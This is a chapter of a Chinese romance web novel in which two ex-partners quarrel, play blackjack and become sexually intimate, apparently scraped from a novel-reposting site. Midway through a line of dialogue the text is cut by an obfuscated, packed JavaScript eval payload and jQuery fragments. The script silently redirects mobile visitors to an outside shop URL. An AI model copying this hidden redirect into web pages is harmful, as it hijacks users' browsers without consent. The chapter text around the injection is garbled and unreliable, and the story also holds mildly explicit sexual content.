文趣网 > 其他小说 > 阴暗蘑菇生长日记 > 43. 第43章
    气味总是先于记忆唤醒人的身体,蔺安君看着方跃的眼睛,突然感到有些陌生,她有些记不起第一次见到他时的样子了,感觉时间过了很久,但似乎从认识到现在也只是过了半年而已。

    半年,至于产生斩不断的纠葛吗?

    不至于。

    但当她看着他沉默的双眼,生气时单单翘起一边的嘴角,鼻梁上那道早已看不见、但摸起来会有极细微触感的疤痕位置,她才发觉,她对面前的这个人已经很熟悉,很了解,无论是心理还是身体。

    明明应该将这个早已断联的不速之客赶出去,但闻到熟悉的味道时,她的脑袋出现了断档,所思所想都被隔绝到了另一个地方,只剩下一个吱呀作响岌岌可危的唱片机在发出低靡又堕落的诱引。

    她往前一步,伸手环住了方跃的腰,脸颊贴在他的胸口,挪了几下,换到一个舒适的位置,静静地抱着。

    方跃没有动,也没有配合,直到蔺安君耳边的心跳逐渐变得平和,他才淡淡地说:“占便宜占够没?”

    蔺安君装没听见,方跃顺着她的睡衣下摆伸手进去,扶在她的腰际,很缓慢地摩挲了一下。

    蔺安君立刻松手,往后弹跳很大一段距离,跟受了什么惊吓一样。

    方跃看着她一侧泛着红的脸颊,暗骂了句脏话,“滚出来,不然你今天别想睡了。”

    说完转身回到客厅,带着怨气坐下。

    这招太阴了。

    没错,今天方跃过来就是要闹的!他与人争吵从无败绩,偏偏在她面前还没有任何的发挥,就被气得无法继续交流下去。什么都是她说了算,在一块她说了算,不在一块也她说了算,大家都是人,凭什么只有她掌握话语权?他手里明明掌握着非常多的制高点!

    答应了送他生日礼物,结果空手来的,连梁束祺都送了他一张巨丑无比的卡片,凭什么白吃白喝?

    香水也是。

    -因为我不买你闲鱼充值卡你生气了?

    -主要我感觉送人东西还要特地买优惠券好像不太有诚意,没有不相信你的意思。

    哦,对着别人知道讲究诚意,对着他就精打细算一毛不拔!请他吃饭怎么还知道多平台团购比价?

    方跃不想忍了,所有种种,全部都要在今天一笔清算!

    但!

    这招太阴了。

    突然抱上来是怎么回事?

    方跃低着头,骂了句不争气的东西,希望蔺安君出来之前,他能彻底冷静。

    两分钟后,收到这样一则消息:

    你先回去吧,有什么话之后再说,今天太晚了。

    方跃盯着手机上弹出来的消息,感觉自己又被耍了。

    不是主动抱他了吗?贴合一瞬间细微的震颤是作不了假的,甚至连拥抱时几不可查的轻嗅,方跃通通感受到了。

    他没谈过恋爱,但不代表是个傻子,如果说因为一个人整天睡不着,心绪为其牵动,不算喜欢的话,那他不知道更高的层次是怎样的表现形式。

    同样,生理反应更为直观地告知一个人的情思爱欲,好歹活了二十多年,他又不是没遇到过好看的人,但就像看到路边的花草一样,阅目即忘,符合他审美的可能会留下更久的印象,此外内心毫无波动。

    某种程度上他有些自恋和狂妄,所以对于自己认定的极度确信。他确信蔺安君喜欢他,因为她的眼睛和身体都颤颤巍巍摇摇欲坠,但两个人的事不能由一个人来确定,不然未免太过不公平,相处中的分歧将阵营分成两方,但这又不是真正的对抗,总不能他选择丢盔弃甲,而对方仍负隅抵抗。

    [方跃]:[蔺襄临的电话号码截图]

    [方跃]:五分钟。

    过了三分钟,蔺安君打开卧室的门走了出来,身上的棉柔睡衣换成了件黑色印花T恤和枣红色及膝短裤,沉着脸趿拉着拖鞋坐到了方跃的斜对面。

    “坐过来。”

    蔺安君瞥他一眼,只当没听见,举起手机心无旁骛地开始刷抖音,一会儿是家人们谁懂啊,一会儿是辣条从夯到拉大测评,手指头在那戳戳戳的,不知道购物车下了几单。

    消极抵抗非常明显,方跃走过去把她的手机夺过来丢到斜对角沙发。

    蔺安君依旧闭口不言,显然是打定主意将不配合进行到底,方跃挤到她旁边坐下,从茶几底下抽出副扑克牌,“玩两盘,你赢了我走,你输了回答我两个问题。”

    蔺安君看向方跃。

    方跃将扑克牌拆开,抽掉大小王,分成两摞,扣在桌面上,食指抵在缝隙由上至下交叠错开,无名指和拇指收拢,汇成一摞。

    “2到10是牌面数字,JQK都算作10,A可以算作1或11。”

    “每人初始两张牌,每个轮次可以要一张牌,停手即为停牌,终止于当前轮次,最终比较牌面数字之和,接近21点方获胜,超过21视作爆牌,直接输,平局不算数,重启牌局。”

    “开始?”

    蔺安君没作声,方跃在两人对应桌面位置按顺序一人分了两张牌,不过蔺安君没有拿,而是把方跃手里的两张也抽了出来,将所有的纸牌重新洗了一遍,才重新扣回桌面。

    方跃有点无语,但看她严阵以待的样子,又有点想笑。

    游戏开始。

    开局蔺安君拿到了一张6和一张4。

    一般来说第一轮爆掉的几率很小,所以无需催促,牌局继续。

    “我停牌。”

    蔺安君抬头,方跃将手中的两张牌倒扣在了桌面,起身去给自己拿了瓶矿泉水,拧开盖喝了两口放到茶几上,又坐回了原位。

    蔺安君心知他是在跟自己打心理战,不再看他,掀开了自己的第三张牌。

    6,4,5,总和15。

    也就是说,再拿到一张大于6的牌就会爆掉,即7,8,9,10,J,Q,K,手握四张牌爆掉的概率大概是57%。

    按道理来说概率不算高,其实可以搏一搏。

    但,对方两张停手,要赢过她,需要将牌面控制在16到21之间,概率不会超过30%。

    “停牌。”蔺安君直接将手中的三张掀开,丢在桌面。

    方跃看了一眼,慢悠悠地将自己的牌面掀开,8,9。

    “如果我是你,我会再拿一张。”他将手伸向剩余的牌堆,“我直接停留在两张,就说明我对自己的牌底有信心,这时候不适合按照概率统计,因为新增了可能影响结果的先置条件。”

    抽出,倒翻在桌面,红心7。

    方跃语气有些可惜,“看来你今天运气不行,还玩吗?”

    蔺安君看出了他的得意,没有理他,默不作声地将牌收拢,稀稀拉拉地刷了两三遍,扣回桌面。

    这次她的两张底牌分别是J和3。

    “不好意思,运气有点好。”方跃将手中的牌倒扣,放置在茶几,“我停牌,你继续。”

    蔺安君将自己的牌侧了一点,转头看向方跃,这人仿佛胜券在握,闲适地用指尖敲击着桌面,顺手帮蔺安君桌面的杂物重新摆了一遍。

    蔺安君直接将手中的两张牌翻开丢在桌面,另一只手将方跃面前的牌底揭开,2和3。

    “平了。”

    方跃伸手又抽了一张牌堆里的,看到是张方片10,很微妙地啧了一声。

    蔺安君重复:“平了怎么算。”

    方跃思索了一会儿,然后说:“算有输有赢,你回答我两个问题,然后我走。”

    蔺安君这才反应过来:“你本来就要走!”

    方跃把牌理顺装盒,放回原先的位置,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712499|207542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不一定,你要试试看吗?”

    “两个问题而已,没那么困难吧,就当是我的生日愿望?”

    这么说的话,那真是道德制高点了。

    “问。”

    “我要真实的回答,骗人的人一辈子赚不到钱。”方跃看着蔺安君的眼睛,“所以你诚实一点。”

    “问。”

    然后他们接了一个很深,很长的吻。

    时间仿佛被无限延长,放映的帧率也在下降,于是在蔺安君眼中,方跃接近得很缓慢,瞳孔逐渐被他填满,鼻尖交错,而后是温柔的轻含,湿热的试探,刻意拉开的距离在此时悄无声息地消失,只余不小心溢出的低声轻喘。

    分开时,两人都有些缺氧,各自偏开头,静静地平顺呼吸,方跃抽了张湿纸巾,擦了擦蔺安君唇角亮晶晶的湿,连带着将手指也擦了干净。

    而后他低声开口:“第一个问题,刚刚这样,你感觉怎么样?”

    蔺安君垂着眼睫,没有言语。

    “没感觉吗?要不要再试一次?”

    蔺安君撩开眼皮,直勾勾地盯着他:“感觉还可以,所以呢?”

    方跃点头:“第二个问题。要不要和好,重新在一起。”

    “不要。”

    眼前的一张脸,明明还带着未褪的红晕,却回答得斩钉截铁,声音也清泠泠的,仿佛从未沾染半点迷失或错乱。

    方跃的脸上出现极淡的笑意,“再多一个问题,之后再也不打扰你。”

    “你是压根看不上我,觉得手里别的备选也挺好的,还是单纯的就想这样。”

    “哪样?”蔺安君反问。

    唇重新触了上去。

    没有温存,只有凶狠的勾缠和吞咽,蔺安君刚刚缓过来,此刻再度缺氧,大脑一片激白,无意识勾挑搅动了一下,换来的是更猛烈的窒息,她费力地抢夺呼吸主动权,没有察觉位置发生了改变,直到腰间传来轻挲的触感她才打了个激灵,正要甩个巴掌过去,手腕被方跃毫不客气地抓住。

    她下意识要用力挣脱,下一秒,掌心却轻柔地贴上了他的脸颊。

    手背被他的手按压着,轻轻移动,像是她在温柔地抚摸。

    蔺安君彻底地把脸别开,嘴唇紧闭,胸口微妙地起伏着,像是不张嘴喘气,刚刚的亲吻就没发生过。

    然而对方显然没有停止的意思。

    于是她的手逐渐抚过他的脖颈,指尖在喉结处停住,随着滚动小幅颤动,而后又撩起上衣的下摆。

    蔺安君忍无可忍,哑着声音说:“你闹够了没?”

    方跃没有言语,手指顺着她的边缘上移,一点一点,静静地看着她的脸。

    热,源源不断地涌出,触觉粘连在皮肤以及更深处。

    干涩生硬的弓弦将指尖磨出薄茧,一次次的拉合训练,手指骨节变得坚硬骨感,陷入柔软之后触感更加明显,反复浸透研磨,操练过度,直至无力的颤抖时刻。

    方跃将手撤出,抽出纸巾擦干,团成纸团塞进蔺安君微蜷的掌心,语气平淡,“还要再试试别的吗?”

    蔺安君另一只手仍捂着眼,仿佛屏蔽了视线,感官也能一同隔绝,但她的反应方跃再清楚不过,这种无责任声明的行为艺术没有任何效用。

    “今天不试了吗?”方跃询问。

    不出意料的没有应答,于是他自顾自地说:“那明天再说,你包里的门禁卡我拿走了,就当是你送的生日礼物。明天记得去我家开会,新的产线马上要投了,设计图纸定一下。还有公众号的维护人员面试,时间是明天九点,别迟到,之前说好的,招人由你来把关。”

    “还有其他问题吗?”方跃倾身耐心询问,迟迟没等到回应,于是在蔺安君露出的半边脸颊亲了一下。

    “那我先走了,明天见。”